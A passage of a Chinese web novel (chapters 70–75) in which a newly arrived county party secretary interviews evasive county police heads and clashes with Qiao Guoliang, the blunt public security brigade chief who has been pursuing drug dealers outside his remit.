眼前这张脸,干净、利落、标准,却找不到一丝风霜打磨过的痕迹,更没有那双鹰隼般能穿透迷雾的眼睛。
干净是干净,却干净得像是橱窗里的模特,缺乏真实的血肉和温度。
“赵大队长,请坐。”江昭宁指了指对面的椅子,语气平和。
赵永安依言坐下,腰板依旧挺得笔直,双手放在膝盖上,目光平视前方,姿态无可挑剔。
谈话开始了。
赵永安的汇报如同他的外表一样,条理清晰,逻辑严密。
他用词准确,数据精确到小数点后两位,每一个举措都能对应到上级文件的具体条目。
他详细阐述着缉毒大队如何组织学习、如何加强内部管理、如何落实各项专项行动部署。
一切听起来都严丝合缝,运转良好。
“……我们严格执行‘逢嫌必检’制度,对重点场所加强巡查力度,对娱乐场所从业人员定期进行尿检……同时,强化与兄弟单位的协作机制,信息互通共享……”
赵永安的声音平稳流畅,像在宣读一份精心准备的报告。
江昭宁耐心听着,偶尔提出一两个问题,赵永安总能立刻给出标准答案。
然而,听着听着,江昭宁的心却一点点沉了下去。
他问起近期破获的典型案件,赵永安列举了几个小案子,无非是零星**人员,缴获的**量少得可怜。
问起重点嫌疑对象的线索摸排和经营情况。
赵永安的回答变得谨慎而模糊,反复强调困难重重,线索匮乏,嫌疑人异常狡猾。
“有没有遇到一些……特别棘手或者需要长期经营的线索?”江昭宁换了个角度,试图撬开那严丝合缝的表层。
赵永安的眼神飞快地闪烁了一下,随即恢复了平静:“报告江**,我们一直在努力深挖。”
“但这类案件隐蔽性强,嫌疑人反侦查意识高,取证异常困难。”
“我们只能立足现有条件,稳扎稳打,确保不出问题。”他巧妙地绕开了“棘手”和“长期经营”这两个核心词,再次将话题拉回到了“稳”和“不出事”上。
江昭宁端起茶杯,杯中的茶水已经凉透,入口更加苦涩。
他不再追问,结束了这场滴水不漏的谈话。“好,辛苦赵大队长。请叫你们教导员也过来一趟。”
“是!”赵永安立刻起身,又是一个标准的敬礼,转身离去,脚步依旧沉稳有力。
门再次打开,进来的是教导员周志。
他看起来比赵永安年长几岁,身材有些发福,警服穿在身上显得有些紧绷,脸上带着一种掩饰不住的疲惫。
眼袋浮肿,眼神有些浑浊,似乎长期睡眠不足。
“江**。”周志的声音带着点沙哑,敬礼的动作也显得有些迟缓沉重。
江昭宁看着他坐下,心中那点残存的期待彻底消散了。
这疲惫、浮肿的脸,同样不是他记忆里那个在暮色中眼神锐利如刀的人。
周志的谈话风格与赵永安截然不同。
少了那份刻板的精准,多了些圆融的世故。
他大谈思想**工作的重要性,如何抓学习、抓谈心、抓队伍稳定,如何关心**生活困难,确保大家没有后顾之忧,安心工作。
“……缉毒工作压力大,风险高,队伍思想稳定是重中之重。”周志的语气带着一种过来人的感慨,“我们支部在这方面下了大力气,确保大家拧成一股绳……”
当江昭宁问及具体的案件侦办和线索经营时。
周志很自然地将话题推给了大队长赵永安:“具体的业务工作,赵大队长是行家,他那边抓得更细些。”
“我是教导员嘛,主要还是做好服务保障,解除一线同志的后顾之忧……”
江昭宁静静地听着,没有再深问。
他明白了,在这个缉毒大队,业务和政工泾渭分明。
教导员周志的“保障”工作,或许确实让一些人心无旁骛,却也无形中筑起了一道墙,一道将“思想”与“行动”隔绝开来的墙。
他让周志离开了。
随后,刑侦、经侦、网安、法制……各部门的负责人如同流水线上的部件,一个接一个地走进这间气氛凝重的办公室。
又一个个带着或轻松或紧绷的表情离开。
他们的汇报,如同精心排练过的戏剧,在江昭宁面前轮番上演。
刑侦大队长滔滔不绝地讲述着历年积压的陈年旧案如何梳理造册、整理归档。
却对眼下的现发命案线索语焉不详。
经侦负责
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人则大谈特谈优化营商环境、服务企业发展的“柔性执法”理念。
对可能触及深层利益的经济犯罪线索讳莫如深。
网安部门负责人说了一连串令人眼花缭乱的技术设备名称,并用携带的平板电脑当场演示了强大的网络舆情监控能力。
却对利用技术手段主动深挖犯罪线索闪烁其词。
法制部门负责人则引经据典,将“依法办案”、“程序正义”挂在嘴边,反复强调案件审核把关如何严格。
对于基层执法中可能存在的灰色地带或需要担当突破的困境,却三缄其口。
每一次谈话,都像在重复一个精心设计的模板:成绩是响亮的,困难是客观存在的,责任是明确划分的。
而触及实质、触及痛点的行动与担当,则被巧妙地消解在冠冕堂皇的言辞和互相推诿的缝隙之中。
江昭宁脸上看不出喜怒,只是偶尔在笔记本上划下几笔。
但那笔尖落下的声音,在寂静的房间里显得格外清晰而沉重。
空调依旧沉闷地响着,桌上的茶水早已彻底凉透,杯壁上凝结了一层薄薄的水雾。
时间在令人窒息的重复中悄然流逝。
当法制部门负责人带着一种完成任务的释然表情躬身退出后,江昭宁的目光落在了名单的最后一行。
治安大队长,乔国良。
他端起那杯早已凉透的茶,凑到唇边,最终只是沾了沾干燥的嘴唇,又放回桌面。
凉意透过杯壁渗入手心。他抬头看向门口方向,等待着。
一秒,两秒……会议室里只剩下空调单调的嗡鸣,门外走廊一片死寂。
几分钟过去了,那个名字对应的人影,始终没有出现。
江昭宁的眉头几不可察地蹙了一下,一丝不悦如同投入深潭的石子,在他平静的面容下漾开细微的涟漪。
他抬手,指节在光滑的桌面上不轻不重地叩击了两下。
“笃,笃。”
声音不大,却像带着某种穿透力。
门立刻被推开一条缝,李国栋那张堆满歉意的脸探了进来。
“江**?”他小心翼翼地询问。
“治安大队的乔国良同志,”江昭宁的声音不高,却清晰地穿透了房间里的沉闷,“怎么还没到?”
第71章 上来一趟!
李国栋脸上的肌肉明显抽动了一下,那抹职业化的笑容瞬间变得有些僵硬、尴尬,甚至带着点狼狈。
他搓着手,身体不自觉地微微前倾,仿佛要借此缓解某种无形的压力。
“这个……江**,实在抱歉,让您久等了。”李国栋的声音干涩,带着一种急于解释却又底气不足的窘迫,“这个乔国良……他、他这个人,有点……有点不务正业!”
他像是终于找到了一个合适的形容词,语速加快了一点,“刘政委通知他等候**问话,可这人……手机直接关机了!”
“完全联系不上!”
“关机?”江昭宁的目光陡然锐利起来,像两道冰锥,刺向李国栋。
李国栋被这目光看得心头一紧,额角瞬间也渗出了细密的汗珠,与刚才夏向明的如出一辙。
他下意识地抬手擦了擦,喉结上下滚动着:“是……是啊,江**。刚才……刚才下面派出所才报上来,说他……他带了几个人,跑到西城老棉纺厂那片废弃的家属区蹲点去了!”
“说是……说是盯一个什么毒贩的线索!”他越说声音越低,最后几个字几乎含混不清,脸上写满了“不成体统”“给领导添麻烦”的难堪和埋怨。
“不务正业……”
“蹲点抓毒贩……”
这两个词,如同两块烧红的烙铁,狠狠地烫在江昭宁的心上!
一股强烈的电流瞬间从脊椎窜上头顶,眼前仿佛有白光炸开!
上次那一个眼神却锐利如鹰的警察身影,无比清晰地再次浮现!
那低沉沙哑、带着穿透力的声音,再次在他耳畔轰鸣:“眼睛看到的,耳朵听到的,有时候,未必就是你以为的那样。”
心脏在胸腔里猛烈地撞击着肋骨,发出擂鼓般的闷响。
上次,自己遇到的原来是他!
乔国良!
那个“不务正业”的治安大队长!
整个下午,他坐在这间精心布置的会议室里,听着一个又一个穿着警服的人,用精心修饰过的语言,汇报着冠冕堂皇的“正业”!
他们谈论着档案、条例、稳定、保障……唯独对真正在黑暗里潜行、与毒贩短兵相接的生死一线,讳莫如深,甚至避之不及!
缉毒大队的正副主官,一个干净得像样板,一个疲惫得只剩推诿!
而那个真正在刀尖上行走的人。
那个在暮色中洞悉了表象之下的危险、并发出警示的人,却被轻飘飘地冠以“不务正业”的帽子!
整个东山县局,这座看起来秩序井然、汇报详实的堡垒里。
真正在做缉毒这件“正事”的,竟然只有这个被斥为“不务正业”的治安大队长!
一个本该管理治安的人,却冲在了缉毒这个最凶险、最无人愿碰的战场最前沿!
荒谬!
冰冷彻骨的荒谬感瞬间攫住了江昭宁。
他感觉胸腔里堵着一块巨大的寒冰,沉甸甸的,压得他几乎喘不过气。
他猛地吸了一口气,那冰冷的空气像刀子一样刮过喉咙。
他抬起头,目光不再是之前的平静审视,而是像淬了火的利刃,带着一种洞穿一切的冰冷和沉重。
直直地钉在李国栋那张写满尴尬和不解的脸上。
窗外。
远处城市模糊的轮廓边缘,警笛声毫无征兆地凄厉响起。
一声,又一声,由远及近,划破了黄昏的沉寂。
像一道带血的鞭子,狠狠地抽在县局大楼这潭沉闷的死水之上!
那声音穿透墙壁,尖锐地刺入每个人的耳膜。
李国栋被这突如其来的警笛声惊得一哆嗦,脸上的尴尬瞬间变成了茫然和一丝不易察觉的慌乱。
江昭宁却依旧一动不动地坐着,只有搭在桌面上的那只手,指节因为用力而微微泛白,仿佛要将这死寂的桌面生生抓穿。
警笛声在窗外盘旋、拉长,像一声声急迫的质问,撕扯着会议室里凝固的空气。
那冰冷锐利的目光,如同实质的探照灯,将李国栋钉在原地,也无声地照彻了这栋大楼里被“正业”精心掩盖的一切。
江昭守起身走向走廓。
办公楼前,一辆警车粗暴地停在禁停的黄线上,蓝白漆皮在泛着刺目的光晕。
车门洞开,一个身影如铁塔般矗立在那里。
乔国良!
江昭守一眼就认出了那副硬邦邦的肩背轮廓,像块被烈日和岁月反复捶打、淬炼过的铸铁,在喧嚣的街景中岿然不动,带着一种粗粝的、不容置疑的份量。
那身警服,紧裹着他岩石般的肌肉,袖口随意卷起,露出的小臂筋肉虬结,青筋如盘踞的虬龙。
他左手叉腰,右手猛地一挥,动作干脆得像快刀斩断麻绳:“动作快一点儿!麻溜的!”
三个被黑色头罩蒙住整张脸的嫌疑人,像被抽掉了脊梁骨。
在另两名年轻干警的推搡下,狼狈地跌撞下车。
深色
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头罩下只露出几绺汗湿的头发,脖颈的皮肤绷得死紧。
其中一人脚下一软,几乎栽倒。
乔国良眼风一扫,旁边一个年轻警察立刻像拎小鸡似的揪住那人后领,粗暴地往上猛一提。
乔国良的声音再次炸开,在办公楼前灼热的空气里震荡:“直接押审讯室!”
“配合禁毒大队,给我撬开他们的嘴!马上审!”
那声音如同警笛的锐鸣,刺穿了午后沉闷的空气。
江昭守微微眯起眼睛。
他清朗的声音带着一种不容置疑的穿透力:“乔国良同志!上来一趟!我有话说!”
乔国良闻声猛地抬头,那声音……像根生锈的针,猝不及防地刺入他记忆的某个角落。
有点熟?
却又有些陌生。
他拧着浓眉,脸上写满困惑,循声猛地扭过头,鹰隼般的目光直射向声音的源头——党委会议室外那高高的走廊。
夕阳光勾勒出窗边一个挺拔的身影。
乔国良用力眨了眨眼,眉头拧得更紧——是他?!
那个把“溪都”念成“**”、闹了大笑话的路人?
乔国良脑子里嗡的一声,上次那令人啼笑皆非的一幕,异常清晰地在眼前翻涌起来。
眼前这张脸,与记忆中那个面孔奇异地重叠了。
可此刻,那人却站在整个县局大楼最核心、最不容僭越的位置——党委会议室外走廊上!
那地方,是随便什么人能待的吗?
乔国良脑子里瞬间刮起了风暴:新来的局领导?没听说啊!
就算是,来的人,多少都是内行的吧?
总不会从外面调一个对东山毫无所知的外人来吧?
再说,一个正科级的局领导,从外面交流过来的机会微乎其微,甚至说没有这个可能。
至于局长?
那就更离谱了,那位置得挂着副县长的衔儿呢!
李国栋现在稳如磐石,半点挪窝的动静都没有!
连风声都没有。
乔国良的目光锁住那个身影,心脏在胸腔里擂鼓。
从他身上看有一种气势毕露。
与上次截然不同!
那挺拔、沉静的样子……身上散发出的强大气场,都与当时记忆中那个被自己肆意嘲笑的人判若云泥。
一种无形却沉甸甸的东西,从那个身影里弥漫出来,是掌控一切的自信,是居高临下的威严。
这感觉如此陌生,又如此……慑人。
第72章 发什么愣呢!
他到底是谁?!
乔国良心里那个巨大的问号疯狂地膨胀,几乎要撑破胸腔。
一股冰冷的寒意,毫无预兆地顺着脊椎猛地窜上来。
上次的嗤笑,那些自以为是的教训话语,此刻化作无数根冰冷的钢针,狠狠扎进他的记忆里。
他感觉自己的后背瞬间湿透了,紧紧黏在警服上。
“乔队!发什么愣呢!”一个声音打破了死寂。
刘博文探出小半个身子,脸上带着一种难以言喻的复杂神情,声音不高,却清晰地传了下来,带着一丝不易察觉的急促:“快上来!别让江**等急了!”
他特意重重地强调了那个称呼——“江**”!
这三个字,不啻于一道惊雷,在乔国良头顶轰然炸响!
每一个音节都像沉重的铅块,狠狠砸在他的天灵盖上。
江**?!县委**?!
真的是他!
那个被自己当作笑料、居高临下“教育”过的路人!
县委**!县里的一把手!那在东山县就是一片遮天蔽日、无人能摇撼的天!
自己这只小蚂蚁,竟不知死活地对着天龇过牙,还狠狠嘲笑过?
这简直是……自掘坟墓!
完了!
小鞋!一张巨大的、由权势编织的尖刺小鞋的形状,在他眼前骤然闪现!
一股巨大的恐惧攫住了他,手脚都有些发僵。
乔国良脑子里瞬间一片空白,只剩下“江**”这三个字在疯狂地循环、放大。
血液仿佛瞬间冲上头顶,又在下一秒退得干干净净,让他眼前阵阵发黑,耳朵里嗡嗡作响。
只有心脏在胸腔里疯狂擂动的声音,沉重得像是要把肋骨撞断。
他下意识地抬手想扶住警车冰冷的引擎盖稳住身体,指尖却在距离金属几寸的地方僵住,剧烈地颤抖起来。
他艰难地吞咽了一下,喉结上下滚动,干涩的喉咙里挤出一点微弱的声音:“知……知道了,政委。”
“马上……马上到!”
声音嘶哑得厉害,带着他自己都未曾察觉的惊惶,飘散在灼热的空气里。
他强迫自己转过身。
乔国良深吸一口气,试图压下胸腔里那只疯狂擂鼓的困兽。
他迈开脚步,一步,一步,沉重地踏向那白得晃眼的台阶。
脚下那层从城郊泥泞现场带回来的薄薄泥灰,随着他的脚步,簌簌地掉落在这片纤尘不染的权力圣地上。
每一次细微的剥落声,都像是对他过去那份粗粝无知最尖锐的嘲讽。
他几乎能感觉到,高窗之后,那道锐利的目光,正穿透空气,无声地落在他沾着卑微尘土的肩背上,将他钉死。
台阶一级一级在脚下延伸。
乔国良的手,在身侧无意识地、痉挛般地蜷缩了一下,仿佛想握住什么来对抗这泰山压顶般的窒息感。
然而指尖所触,只有身侧空空荡荡的枪套——方才移交嫌犯时,他早已按规程卸下了佩枪。
此刻,他连这唯一熟悉的、能带来一丝虚幻安全感的冰冷铁块也失去了。
他彻底地、赤裸裸地暴露在这片权力的绝对领域之中。
楼上是掌握着生杀予夺大权的县委**,是这方天地的绝对掌控者。
党委会议室那扇厚重的实木门紧闭着,像一道沉默的界碑,隔开了外界的喧嚣与内里的权力场域。
乔国良站在门前。
他深吸一口气,抬手,指关节僵硬地弯曲,在深色木门上叩击了三下。
“笃、笃、笃。”
声音空洞,带着一种近乎绝望的回响。
“请进!”
门内传来的声音不高,甚至算得上平和,却像一道冰冷的指令,瞬间穿透了厚重的门板,精准地钉在乔国良绷紧的神经上。
他推开门,一股沉凝的空气扑面而来。
江昭宁坐在宽大主位的高背椅上,身体微微后靠,双手交叠放在桌面的一份文件上,目光如同实质的探照灯,早已聚焦在门口。
乔国良几乎是挪进来的,脚步沉重得像灌了铅。
他目光低垂,不敢直视那目光的源头,只盯着自己沾满泥灰的鞋尖在光洁如镜的地板上移动。
他走到会议桌对面,拉开一张椅子,动作僵硬地坐下,脊背挺得笔直。
双手规矩地平放在膝盖上,指尖却不受控制地微微蜷缩、颤抖。
整个人像一块被强行钉在椅背上的木板,每一寸肌肉
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都绷得死紧,只有额角沁出的冷汗无声地滑落,洇湿了鬓角。
“乔队,”江昭宁的声音打破了令人窒息的沉默,语调平稳无波,听不出任何情绪,“还认识我吗?”
这平平淡淡的一句,却如同惊雷在乔国良耳边炸响。
他猛地抬起头,迎上那双深潭般的眼睛,巨大的惶恐瞬间攫住了他。
他嘴唇哆嗦着,结结巴巴地开口:“江、江**……我,我……”
他感觉喉咙被一只无形的手死死扼住,声音干涩嘶哑,“我有眼不识金镶玉啊!”
“眼拙!实在眼拙!”
乔国良艰难地吞咽了一下,喉结剧烈地滚动,“我……我当时言语不当,狗嘴里吐不出**,请您……请您千万谅解!”
“大人不记小人过……”
他几乎是语无伦次,额头上的汗珠汇成细流,滚落下来,砸在深色的警裤上,留下深色的印痕。
江昭宁身体微微前倾,手肘撑在桌面上,十指交叉,支撑着下巴。
他脸上依旧没有波澜,目光却像手术刀般锐利,直直刺向乔国良:“乔队,你当时错了吗?”
“错!错了!大错特错!”乔国良忙不迭地点头,额上的汗更多了。
“哦?”江昭宁眉梢几不可察地抬了一下,“那错在哪儿?说说看。”
“错在……错在……”乔国良脑子一片混乱,本能地将最直接、最恐惧的答案脱口而出,“错在我有眼无珠!”
“不知道您是县委**!冒犯了您……”
“呵。”一声极轻的、带着冷意的嗤笑从江昭宁鼻腔里逸出,打断了他。
那笑声很轻,却像一记重锤砸在乔国良心上。
“那就是说,”江昭宁的声音陡然沉了下去,每一个字都像淬了冰,“当时站在你面前的,如果是个普通老百姓,甚至就是个外地来的、连‘溪都’都念不明白的‘土老帽’,你乔国良大队长那番居高临下的‘教训’,就是对的?”
“你眼中的对错标准,是看对象的身份?”
“因人而异?”
“县委**说的话就是金科玉律,永远不会犯错?”
“普通老百姓就可以随意被你奚落嘲讽?”
第73章 管得也太宽了吧?
连珠炮般的诘问,一句比一句更锋利,更诛心。
每一个字都像烧红的烙铁,烫在乔国良的脸上和心上。
他整个人彻底僵住了,嘴巴徒劳地张着,却发不出任何声音,仿佛被无形的绳索勒住了脖子。
他脸上血色尽褪,只剩下惨白一片,巨大的羞愧和更深的恐惧交织着,几乎将他淹没。
他喉咙里发出“嗬嗬”的、窒息般的声音,却连一句像样的辩解都组织不起来。
江昭宁的目光牢牢锁住他,那眼神里没有怒火,只有一种洞察一切的冰冷审视,以及……毫不掩饰的失望。
“对的东西,”江昭宁的声音不高,却带着千钧之力,清晰地砸在寂静的会议室里,“为什么要认错?”
他微微停顿,目光如刀锋般刮过乔国良惨白的脸,“仅仅因为对方是县委**?”
“乔国良同志,你太让我失望了!”
“失望”两个字,如同最后的审判,让乔国良浑身一颤,巨大的**感猛地涌上心头,几乎要冲破恐惧的堤坝。
江昭宁却话锋陡转,仿佛刚才那番诛心之论只是随手拂去的尘埃。
他身体重新靠回椅背,手指随意地点了点桌面:“好了,过去的先放一放。”
“说说你半年来的工作成绩,挑重点讲。”语气恢复了公事公办的平静,仿佛刚才那番刀光剑影从未发生过。
这突兀的转折让乔国良一时反应不及,愣了一下。
但“工作成绩”几个字,像一根突然递到溺水者面前的稻草。
提到这个,他紧绷的神经似乎找到了一个熟悉的支点,一股职业的本能瞬间压过了惶恐。
他下意识地挺直了腰背,清了清沙哑的嗓子,声音陡然拔高,恢复了某种惯常的、带着汇报腔调的洪亮:“报告**!我们治安大队在局党委的坚强领导下,严格按照上级部署……”
说到具体成绩,他更是打开了话匣子,脸上甚至不自觉地浮现出一丝职业性的亢奋,“最近半年的成绩单确实比较抢眼!”
“辖区发案率稳中有降,侦破率大幅提升!”
“尤其是在打击团伙犯罪、斩断犯罪链条方面成效显著!”
“比如上月,我们成功侦办了‘12·18’专案,收网行动干净利落!主犯、骨干成员,包括所有下线的‘马仔’,无一漏网,全部落网!目前案件已经顺利整理完毕,移送检察机关起诉,效率极高……”
“今天又抓获了三名毒贩。”
他越说越顺,仿佛只有沉浸在具体的工作成果里,才能暂时忘却头顶悬着的那柄利剑。
那份破案后的成就感,那份职业的自豪感,短暂地盖过了面对权力时的战栗。
“停!”
冰冷的声音如同铡刀落下,瞬间斩断了乔国良滔滔不绝的汇报。
江昭宁微微眯起了眼睛,身体再次前倾,目光锐利如鹰隼,牢牢钉在乔国良脸上:“乔队,你刚才说,‘12·18’专案收网?”
“治安案件?”他的嘴角勾起一丝极淡、极冷的弧度,“治安案件,用得着‘收网’这么杀气腾腾的字眼?”
“这听起来,更像是**吧?”
乔国良脸上的亢奋瞬间凝固,如同被泼了一盆冰水。
他眼神闪烁,下意识地避开了江昭宁的直视,喉咙发紧:“这……江**果然明察秋毫……这,确实……算是刑案。”
“算是?”江昭宁的语调陡然拔高,带着不容置疑的威压,“乔国良同志,你是县局治安大队的大队长吧?”
“治安大队的职责是什么?是维护辖区日常治安秩序,处理治安案件、调解**、管理特种行业!”
“**的侦办,什么时候轮到你们治安大队去冲锋陷阵了?嗯?”
他手指轻轻敲击着桌面,发出规律的、令人心慌的笃笃声。
“什么样的刑事案?”
“性质很严重?总不会是**放火吧?”江昭宁追问,语气带着一种洞悉一切的嘲弄。
乔国良额头上刚刚干涸的冷汗又冒了出来。
他艰难地低下头,声音细若蚊蝇:“不,不是……是……涉毒案。”
“涉毒案?!”江昭宁的声音陡然拔高,带着毫不掩饰的惊诧和冰冷的讥诮,“抓毒贩?!”
“你一个治安大队长,带着人去抓毒贩?!
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乔国良,你这是太平洋的警察——管得也太宽了吧?”
他身体微微前倾,目光如同实质的冰锥,刺向乔国良:“这算不算狗拿耗子——多管闲事?!”
每一个字都像一记响亮的耳光,狠狠扇在乔国良脸上。
他被这连番的质问逼得无处可退,脸上红一阵白一阵,额头青筋隐隐跳动,狼狈不堪。
一股巨大的憋屈和愤怒,混杂着对自身处境的绝望,猛地冲垮了他刚才谨小慎微的堤坝。
他猛地抬起头,那双原本带着惶恐的眼睛里,此刻燃烧起一种近乎破罐破摔的倔强光芒。
“江**!”他的声音因为激动而微微发颤,却带着一股豁出去的狠劲,“请您不要再犯主观主义错误!”
“不要戴着有色眼镜看人!”
江昭宁似乎没料到他会突然反击,眉峰一挑,眼中闪过一丝玩味:“哦?主观主义?说说看。”
乔国良梗着脖子,胸膛剧烈起伏,声音陡然拔高,带着一种孤注一掷的悲壮:“我是一个人**察!”
“一个头顶国徽、肩扛盾牌的人**察!面对**犯罪这种祸国殃民的毒瘤,我能袖手旁观吗?”
“我能因为这不是我治安口的分内事,就对它听之任之、视而不见吗?”
“看到线索,看到危害,我冲上去打掉它,这有什么错?!”
他越说越激动,手指无意识地攥紧了拳头,“您!您江**,不还在县**会上力主推动建立交巡警大队吗?”
“您倡导的是什么?是一警多能!是打破警种壁垒,提升综合战斗力!”
“怎么?到了我乔国良这里,我一警多能,主动去啃硬骨头,就成了狗拿耗子多管闲事?”
“就成了违反规矩?!”
他喘着粗气,目光灼灼地逼视着江昭宁,仿佛要将胸中所有的憋闷和不平都倾泻出来:“说到底,您是不是从骨子里就认为,上次在‘溪都’与‘**’之争,错的是我?”
“是我这个不知天高地厚的小警察冒犯了您**大人的威严?!”
最后这句质问,带着孤注一掷的尖锐,像一把烧红的**,狠狠刺向江昭宁。
第74章 悉听尊便!
会议室里的空气仿佛瞬间被抽空,凝固成了沉重的铅块。
江昭宁脸上的平静终于被彻底撕碎。
那层温和的面具骤然崩裂,取而代之的是一种深潭骤起波澜的阴沉。
他眼中的玩味消失殆尽,只剩下冰冷的、毫不掩饰的怒意。
他缓缓站起身,高大的身影在明亮的灯光下投下一片极具压迫感的阴影,将乔国良完全笼罩其中。
“乔国良,”江昭宁的声音低沉得可怕,每一个字都像是从冰窖里捞出来的,“你很有胆色。敢跟我瞪眼,就差拍桌子了。”
他向前逼近一步,居高临下地俯视着椅子上的乔国良,眼神锐利如刀,带着一种令人骨髓发寒的威压,“你知道,得罪我江昭宁的下场,是什么吗?”
巨大的压力如同实质的巨石压在乔国良胸口,让他几乎喘不过气。
那冰冷的眼神,那毫不掩饰的威胁,舔舐着他的神经。
恐惧的本能再次汹涌袭来,几乎要将他淹没。
然而,或许是刚才那番不顾一切的爆发耗尽了他所有的怯懦,或许是“下场”两个字彻底点燃了他骨子里的那股犟劲和身为警察最后的骄傲。
那股宁折不弯的硬气,如同岩浆般冲破了恐惧的冰层。
乔国良猛地也跟着站了起来!
尽管腿肚子还在微微打颤,但他硬是挺直了脊梁,毫不退缩地迎上江昭宁那冰冷刺骨的目光。
他脸上所有的惶恐、卑微都消失了。
只剩下一种破釜沉舟的决绝,甚至带上了一丝近乎疯狂的冷笑。
“下场?”他声音嘶哑,却异常清晰,带着一股豁出去的蛮横,“是什么?不就是扒了我这身大队长的皮,让我滚回去当个普通小警察吗?!”
“您江**权力大,您一句话的事!”
他梗着脖子,眼中燃烧着不屈的火焰,几乎是吼了出来:“您还能怎么样?!把我开除出**队伍不成?!”
最后几个字,在死寂的会议室里轰然炸响,如同惊雷。
这话吓得外面的李国栋、刘博文双双冲了进来。
李国栋此刻脸上混合着尴尬、懊恼与急于弥补的惶恐。
他甚至来不及喘匀一口气,便对着乔国良发出尖锐的呵斥:“乔国良!你昏了头了吗?!”
“你不知道与你谈话的是**吗?还这么横冲直撞?”
“谁给你的胆子敢用这种态度、甩这种脸色?!”他的声音高亢,带着一丝不易察觉的颤抖,既是想压制乔国良,更像是在江昭宁面前剖白自己,“你真的以为江**不能开除你?”
江昭宁仍然冷眼旁观,一言不发。
这越发让李国栋紧张不安。
乔国良并未立即回应李国栋的咆哮。
他用眼角冷峻的余光扫了一眼气得脸色酱紫的李国栋,目光里带着毫不掩饰的鄙夷。
数秒沉寂后,乔国良终于开口,声音低沉却清晰,每一个字都像是冰棱落地,干脆决绝,不容置疑:“**,您还有什么指示吗?”
“如果没有——”他顿了一下,语气加重,带着不容挽留的坚决,“我要告辞了!”
没有辩驳,没有解释,更没有祈求。
“饶口舌,”他的嘴角扯起一丝嘲讽的冷笑,“纯属浪费生命。”
“我这人,回去是要干实事的。”
“案子不等人,老百姓的眼睛在看着。”
他的下一句话,如同重锤击打钢板,在安静的办公室发出铮铮回响。
他的话带着破釜沉舟的坦然与一种近乎悲壮的倔强:“至于您这边——是免职,是调离**系统,是直接辞退,还是干脆找个别的理由把我开掉,”乔国良微微吸了口气,胸腔起伏了一下,像是卸下了千斤重担,“我乔国良,悉听尊便。”
“没有了。”江昭宁终于开口。
仿佛冰山裂开一道缝隙,只透出更深的寒意。
三个字,简单至极,语调平板无波,如同机器合成。
这反应平淡得令人窒息,远比怒火更让人心头发毛。
没有挽留,没有斥责,没有评论,只有彻底的、冰冷的无视。
李国栋心头的石头瞬间沉到了谷底。
这无声的冷漠比任何训斥都更有分量,蕴含着极其糟糕的信号。
乔国良脸上毫无意外之色。
他只是对着江昭宁,极其庄重、极其标准地行了一个礼。
这个礼,动作一丝不苟,手臂挥起落下带起风声,腰杆挺直如尺。
礼毕,他利落地转身,没有再多说半个字。
也没有再看旁
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边脸色难堪的李国栋和刘博文一眼,大步流星地走出了会议室。
那扇厚重的木门在他身后再次阖上,发出一声闷响,如同一声最终敲定的叹息。
室内只剩下三人。
门关上的瞬间,李国栋紧绷的身体似乎才找回知觉。
他猛地吸了一口气,胸膛剧烈起伏,仿佛刚跑完一场激烈的冲刺。
刚才那番呵斥显然耗尽了他极大的心力,此刻他额角渗出的细密汗珠在顶灯照射下闪着微光。
他转向端坐如山的江昭宁,脸上混杂着惶恐、愤怒和急于表忠心的急切,声音因为激动而带着不易察觉的颤抖:“江**!您看看!您看看这个乔国良!”
“简直……简直是无法无天!”
“眼里还有没有一点组织纪律性?”
“还有没有一点对上级领导的尊重?他以为他是谁?以为破过几个案子,抓过几个**,就可以尾巴翘到天上去了?”
“连您都敢顶撞!这种人,留在队伍里就是一颗老鼠屎,坏了一锅汤!”
他重重喘了口气,“这样的害群之马,这种恶劣到极点的态度,不施以重惩,我们**队伍的威信何在?”
“县委的威严何在?必须立刻杀一儆百!”
他越说越激动,唾沫星子几乎要喷出来,手指无意识地指向门口,仿佛乔国良还在那里杵着。“他真的以为您不能开除他?笑话!”
“**局是讲规矩的地方,不是他乔国良撒野的菜市场!”
“这种桀骜不驯、目无尊长的‘刺头’,就是与形形**的**打交道久了,骨头缝里都浸染了那股子匪气!”
“不杀杀他的威风,不让他知道知道厉害,以后队伍还怎么带?”
“谁还会把组织纪律放在眼里?”
李国栋的呼吸急促,脸色涨红,显然是动了真怒,也急于在**面前撇清自己和乔国良的关系,并证明自己维护权威的决心。“江**,我建议,我们马上召开党委会!”
“就乔国良同志今天严重违反组织纪律、顶撞上级领导、态度极其恶劣的行为,进行严肃讨论。”
“考虑对他予以停职检查、调离**岗位,甚至……甚至启动辞退或者开除程序!”
“绝不能姑息养奸!”
第75章 不同的评价
他的目光紧紧锁住江昭宁,等待着**的指示,或者说,是等待一个可以让他立刻行动的授权信号。
就在李国栋慷慨激昂地数落乔国良的“罪状”时,政委刘博文一直紧锁着眉头。
他比李国栋更了解乔国良的底细,也更清楚他的脾性。
看着李国栋那副恨不得立刻将乔国良生吞活剥的架势,他内心焦急万分。
趁着李国栋话音稍顿,他赶紧上前一步,脸上堆起一种近乎恳求的、试图缓和气氛的笑容,声音放得又轻又缓,带着明显的圆场意味:“江**,李局,消消气,消消气。”
“乔国良这个人吧……”他斟酌着措辞,小心翼翼地观察着江昭宁的脸色,“是,他今天的态度确实有问题,非常不冷静,顶撞领导,这绝对是大错!”
“这点我坚决支持李局长的批评!”
“但是……”他话锋一转,语气带着一丝无奈和真诚,“江**,您可能对他还不太了解。”
“我对他这人,真是知根知底。”
“他不是坏人,真的,一点坏心眼都没有。”
“他就是……就是太轴!太认死理!一条道走到黑的主儿!”
“他那脑袋里,就装着他那摊子工作,装着他认定的‘正义’和‘案子’,其他的弯弯绕绕,人情世故,他是一窍不通,也根本不屑去懂!”
“说白了,就是情商太低,太缺乏心眼儿。”
“说话办事直来直去,像块又臭又硬的石头,撞了南墙都不回头!”
刘博文一边说,一边观察着江昭宁的反应,见对方依旧沉着脸,毫无波澜,心里更是打鼓。
他只能继续硬着头皮解释:“他这性子,在基层办案的时候,那是把双刃剑。”
“对犯罪分子,那真是横眉冷对,铁面无私,能啃下最难啃的骨头。”
“可对上头……唉,就是这副不知变通、不懂迂回的臭脾气。”
“他刚才说‘回去做实事’,这话虽然冲,但可能就是他脑子里最真实的想法。”
“他这人,把案子看得比天大,觉得在这里磨嘴皮子争论,就是浪费时间,不如赶紧回去查案。”
刘博文的声音里带着一种老友般的叹息,“人是好人,就是这性子,太得罪人,太容易吃亏了。”
“江**,您大人有大量,别跟他一般见识,他就是头犟驴……”
然而,刘博文这番掏心掏肺的解释,如同投入深海的石子,连一丝涟漪都未曾激起。
